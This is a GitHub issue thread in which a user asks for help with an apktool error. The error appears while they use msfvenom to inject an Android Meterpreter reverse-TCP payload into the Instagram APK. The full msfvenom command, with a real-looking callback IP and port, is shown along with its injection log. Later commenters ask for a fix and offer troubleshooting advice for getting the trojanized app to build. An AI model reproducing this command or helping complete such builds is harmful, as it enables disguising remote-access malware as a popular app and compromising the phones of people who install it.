Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Error: Unable to rebuild apk with apktool #4

Open
steve01101 opened this issue Jul 26, 2018 · 4 comments
Open

Error: Unable to rebuild apk with apktool #4

steve01101 opened this issue Jul 26, 2018 · 4 comments

Comments

@steve01101
Copy link

steve01101 commented Jul 26, 2018

hi, I do not know if I'm in the right section, I hope so, I have a problem when i recompile the apk, I have not installed this program, but I use msfvenom normal, when I recompile the apk, it tells me: "Error: Unable to rebuild apk with apktool". I hope you can help me as we are talking about msfvenom. I installed the latest version of apktool, but it shows me version 2.2.2

msfvenom -x instagram.apk -p android/meterpreter/reverse_tcp LHOST=18.216.53.253 LPORT=15981 -o instagram1.apk
Using APK template: instagram.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[
] Decompiling original APK..
[] Decompiling payload APK..
[
] Locating hook point..
[] Adding payload as package com.instagram.android.vehdh
[
] Loading /tmp/d20180726-8494-1rzbkw3/original/smali/com/instagram/app/InstagramAppShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[
] Adding
[] Adding
[
] Adding
[] Adding
[
] Adding
[] Adding
[
] Adding
[] Adding
[
] Adding
[] Adding
[
] Adding
[*] Rebuilding instagram.apk with meterpreter injection as /tmp/d20180726-8494-1rzbkw3/output.apk
Error: Unable to rebuild apk with apktool

@jonasyumi
Copy link

did u find solution 😭

@Marshall010
Copy link

i need a solution too :(

@sankethj
Copy link

sankethj commented Sep 2, 2021

You can't build using apktool because it hasn't decompiled by apktool. So use Android studio to build.

@acksyndude
Copy link

acksyndude commented Dec 20, 2021

can i know how you copies this files with msfvenom payload files?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants